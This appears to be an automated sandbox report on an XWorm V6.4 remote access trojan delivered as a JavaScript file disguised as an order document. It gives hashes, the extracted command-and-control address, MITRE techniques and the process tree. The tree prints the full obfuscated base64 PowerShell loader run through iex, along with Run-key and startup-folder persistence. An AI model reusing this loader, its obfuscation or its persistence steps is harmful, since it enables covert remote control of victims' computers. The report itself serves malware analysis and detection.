xworm | 43c8dfe3daa3b5402f2c673b1bae02dc73f653570033efcd63e19a9b0f3e0255

Analysis

max time kernel
102s
max time network
148s
platform
windows11-21h2_x64
resource
win11-20250905-en
resource tags

arch:x64arch:x86image:win11-20250905-enlocale:en-usos:windows11-21h2-x64system
submitted
06/10/2025, 14:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Order specification and Drawings_Pakgreen_JPEG File.js
Size 1.3MB
Sample251006-rd99hs1vdw
SHA256 43c8dfe3daa3b5402f2c673b1bae02dc73f653570033efcd63e19a9b0f3e0255
MD5 0b51df3b56a9d440d4671a3b6cb2bf18
SHA1 3b4eff84678493328d488a73e733964a05333438
SHA512 74d3ca0fc401ebae7bd4c9fdb5606c5e89d788846061d58e3e90e5f4edfb4f0d9fc57b7eea01e5542a1e6747fd748fce586356aaaf5ad2c09dbf79fee7d96162
SSDEEP 1536:8vUXW4x1be+R+PbRnespjs6QzBMUaLIQchx5o8N:d1bBRsb4LgLIQYxb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

XWorm V6.4

216.9.227.107:1122

Mutex

Jxlg8L3PYwrGqTzl

Attributes

Install_directory
%AppData%
install_file
XWormClient.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4496-22-0x00000173E9AA0000-0x00000173E9AAE000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5088	1100	cmd.exe	78

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	4496	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormClient.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormClient.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4012	XWormClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2910617350-3280892089-2510284752-1000\Software\Microsoft\Windows\CurrentVersion\Run\XWormClient = "C:\\Users\\Admin\\AppData\\Roaming\\XWormClient.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4496	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4496	powershell.exe
4496	powershell.exe
4012	XWormClient.exe
4012	XWormClient.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	4012	XWormClient.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5088 wrote to memory of 952	5088	cmd.exe	81
PID 5088 wrote to memory of 952	5088	cmd.exe	81
PID 952 wrote to memory of 2248	952	cmd.exe	82
PID 952 wrote to memory of 2248	952	cmd.exe	82
PID 2248 wrote to memory of 4496	2248	cmd.exe	84
PID 2248 wrote to memory of 4496	2248	cmd.exe	84
PID 2132 wrote to memory of 4012	2132	cmd.exe	87
PID 2132 wrote to memory of 4012	2132	cmd.exe	87

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Order specification and Drawings_Pakgreen_JPEG File.js"
1⤵
PID:4460

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5088
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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kAdQBrAGkAUQBqAHgAeguhrtgiztqiBnAFIAWABzADgANwBBADEATwB1AHMAZQA5AuhrtgiztqiGoAcABQAFQAOABJAGEAYgA4AEkAdQBnAGYAuhrtgiztqiVABsAFcASQBOAFcAbABZADUARwBYAFIARQBuhrtgiztqiRADQASgBQAHAARgBaADUAcgB6AFMARgBQAEuhrtgiztqiIAVQBYAHAARABFAHQAZgBKAGkAQwBUAHAAcuhrtgiztqigA0AEoASQA3AHoAYwB5AGoAMABOAEEAVgBYuhrtgiztqiAC8AKwBaAEYAZwBxAEQAUwBrAGUAUQBwAFIuhrtgiztqiATABxAGsAcwBjAHkARABMAFQASQBwAEUAawuhrtgiztqiBtADUAVwA0AEMAKwBxAHEAMwBRADQAawBFAuhrtgiztqiEEAMgB1ADEAOQBsAG0ANABtAE0AUgB3AHoAuhrtgiztqiUAAwAGcARwBZAHoAawBCAFcAdwBVAHQAawBuhrtgiztqiMAEgAZwBxAGMAawBUAGkAbQBQAEgAbABHAFuhrtgiztqikANABWAGEAaQBaAHcAZABCAHMATgBQAEQAMuhrtgiztqigBVAE8AbwBkAHgASQBCAEkASQBYAEkATABVuhrtgiztqiAEIASABrAGkAUgA3AGgARQBGAEgAegA4AE0uhrtgiztqiAdABUAFIAOAB0ADMASABSADQAbQBlAEwAdwuhrtgiztqiAwAFYALwAvAHcAMQA3AEIAMABrAHIAKwAxAuhrtgiztqiHEAMABqAGgAaABaAGgAcgBRADMAMgB4AHYAuhrtgiztqiLwArAFAAUgB0AEkASgBiAG4AeQBjAFcAYgBuhrtgiztqi0AE0AeQBQAC8AYwBiAE8AWAB2AHYAbgAvADuhrtgiztqiUAUQBpAC8AZABuADkAZgBCADUALwBQAEIAMuhrtgiztqiwBQAGIAMQBpAHcAMgBDACsAagBHAFoAMwBtuhrtgiztqiAGkAYgArAFIAaQB5AEcAeQBXADUAUABXACsuhrtgiztqiAbwAxADYANwBlAC8AKwBlAG4ARgB0AHQAQQuhrtgiztqiBTAGQAUwAxADUARABIAHoARAB4AFMAQgBLAuhrtgiztqiHUAcABrAEsAbQBCADUAUQBUAHQAcwBkAEUAuhrtgiztqiTgBOAC8AcQBjAEIATwAxAG0AdQBqACsARgBuhrtgiztqi4ADgAQgBUAC8AVABzAHEAUgBMAHcAUABsAFuhrtgiztqicAWgBVAEkAOQBhAHUAeABPACsATAA2AFIAeuhrtgiztqigB0AHgAbQByAEwASQBJAHMAZgB6AHgAWABTuhrtgiztqiAFMAUgBLADQAcAAvAEEANwBlAHYAVAA4AEIuhrtgiztqiAbwBpAGoAVgBhADIAOQBVAC8AeABNAGEAUguhrtgiztqiBDAGwAcwBZAHIASQBLAG4AYgAzAEcATABXAuhrtgiztqiFcAVQBJAEcAYwB2AEUAOABzAHcAYgBUAGcAuhrtgiztqicABhADMAVAA0AE0ARABrAFcAWQBTAGwARABuhrtgiztqiKAEYANABpADgAWABOAEYAcwBsAHIAQwB0AHuhrtgiztqiIAbwBzAGsATwBaAE8AdAA3AE4AVwBPAG0ARuhrtgiztqiQBhAHUAWQB0ADUAWABNAEEATABOAHkASgBOuhrtgiztqiAHkANgB6AGcAYwByAE8AMwBiAFoAUgBMAHQuhrtgiztqiAQgB5ADMAbwA2AE8AQgBKAGQASwBVAGwAcAuhrtgiztqiBnAHYAZgB1AEwAcQA1AEQAdgBkADMAUwArAuhrtgiztqiHYAUABkAGwAdABHADUAeQBrAEsAMQBtAGMAuhrtgiztqibwBCAFQAQgBsAFkASwB1ADQAcQBCAFcAbgBuhrtgiztqiJAFMAcgBPAFQASQAwAEYAaQBkAHgASwBXAEuhrtgiztqicAaQBaAFgAVgA0ADgATQBuADAAOAB6AFUAduhrtgiztqigBpADEARQBPADUAeABMAGMAcwB6AFEAYgBuuhrtgiztqiAGUAVwBzAFIAOQBYAG8AZwA1AHUAQQA3AFAuhrtgiztqiARwBWAHYAUABWAEYAMQBFADUAOAA2AFoAQwuhrtgiztqiBhAFgAeAB1AEkAOABIADUATgBhADgAdgAxAuhrtgiztqiE0AZQBpADkAcwBSADEAUQB5AHEANgA4AHAAuhrtgiztqiZQBVAEIAMABuAEoAagBjAHEAMwBsAFIAcABuhrtgiztqiyAEQAKwBnAHIAUABKADQAQQBDAFQAdQBNAGuhrtgiztqioAYQBDAGgAZABtAG0AeABYAHAANABtAEQARuhrtgiztqiwBxADMAVQBtAFAARgAxAFEASwBuAGcASwB2uhrtgiztqiAEQAcABsAHAAOABSAEgAbAA0AEgAWABNAHUuhrtgiztqiAQQBPAEoAWgBzAGgAMQBKAEkAbQBXAEUAYQuhrtgiztqiBJAGMAMQBlAG8AZQBzAG8AYgBRADYAWABvAuhrtgiztqiEoARAB6AFcAUgBXAG4AMgBuAGUAdQBZADIAuhrtgiztqiMgBtADMAVQA4AEwAdwBLAFkARgBGADIAYgAuhrtgiztqiyAEsAZQBzAHQAeABmAGcALwBOAFEAMQBjAGuhrtgiztqiYAMwBmAGUAMQBMADkAWQBRAG0AMQA5AHoAKuhrtgiztqiwAzAGQAMAA1AEwATwBMAGMAbgA5AFMAZwB5uhrtgiztqiAGsAZABMAFgAMQBYAGIAdQBEAFIAbgAyACsuhrtgiztqiARwBtAHIAYgBsAHYAVAB3AFIAeQBxAC8AcwuhrtgiztqiBXAHUAWgBPAC8AMwBCAE4AVwBjAGQASwA2AuhrtgiztqiDgAagB6AEQATABmAFEAeQArADEALwBxAFcAuhrtgiztqiMAB1AHQAWgBnAFQAVgB1AFoASAB0ADAAQwBuhrtgiztqiwAFMASwBTAEsAMwBlAFYAOAB4AGMAaABzAHuhrtgiztqiYAWAB4AGsAWABPAG4AOABBAFkAKwBNAGgATuhrtgiztqiQBFADQARwBBAEEAQQA9ACcAOwAkAG0AYQBuuhrtgiztqiAGcAbwA9AFsAQwBvAG4AdgBlAHIAdABdADouhrtgiztqiAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAuhrtgiztqiByAGkAbgBnACgAJABvAHIAYQBuAGcAZQApAuhrtgiztqiDsAJABwAGkAbgBlAGEAcABwAGwAZQA9AE4AuhrtgiztqiZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBuhrtgiztqiNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACuhrtgiztqiwAJABtAGEAbgBnAG8AKQA7AGkAZQB4ACgATuhrtgiztqigBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuuhrtgiztqiAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACguhrtgiztqiATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwuhrtgiztqiAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAuhrtgiztqiEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAHAAuhrtgiztqiaQBuAGUAYQBwAHAAbABlACwAWwBJAE8ALgBuhrtgiztqiDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAGuhrtgiztqi8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZuhrtgiztqiQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzuhrtgiztqiACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQuhrtgiztqiAKAApAAoA'.Replace('uhrtgiztqi','')))))""
      4⤵
      Badlisted process makes network request
      Drops startup file
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4496

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XWormClient.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Users\Admin\AppData\Roaming\XWormClient.exe
  C:\Users\Admin\AppData\Roaming\XWormClient.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RadiantFilter.bat

Path C:\Users\Admin\AppData\Local\Temp\RadiantFilter.bat
Size 240KB
SHA256 d5b0f9b8ad5358e39eb55fa88afb73e5803904fa5829c5c2c4f9109fed0c493b
MD5 a4b3a53a98bd0fd85cc45b9a4739998b
SHA1 99b3f9ae610a74a19720b32a26023a9765386fe4
SHA512 3fc421c65ce9396175d5ef1c3bbab870858fc9d49ec7144523b700a08151acf3bdceefc8145b6bb877b36268d567bd58404e59be97b68ea1e9e98a050dbbea8a
SSDEEP 3072:QzTB4bi1zKBagtEf1nBwL5OwGBqjqq/ju4GnjtBq9t9ZWjAlOZUZjn5gfqoiOEMi:QHnzLgaHkE9fKqw
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_yldlmy1o.q5t.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yldlmy1o.q5t.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

XWormClient.exe

Path C:\Users\Admin\AppData\Roaming\XWormClient.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/4012-37-0x0000018356690000-0x00000183566D6000-memory.dmp

Download

memory/4496-21-0x00000173E9A90000-0x00000173E9A9C000-memory.dmp

Download

memory/4496-17-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download

memory/4496-19-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download

memory/4496-20-0x00000173E8050000-0x00000173E8058000-memory.dmp

Download

memory/4496-8-0x00000173E97E0000-0x00000173E9802000-memory.dmp

Download

memory/4496-22-0x00000173E9AA0000-0x00000173E9AAE000-memory.dmp

Download

memory/4496-7-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download

memory/4496-6-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download

memory/4496-38-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download

memory/4496-39-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download

memory/4496-40-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download

memory/4496-41-0x00000173E7EF0000-0x00000173E7F00000-memory.dmp

Download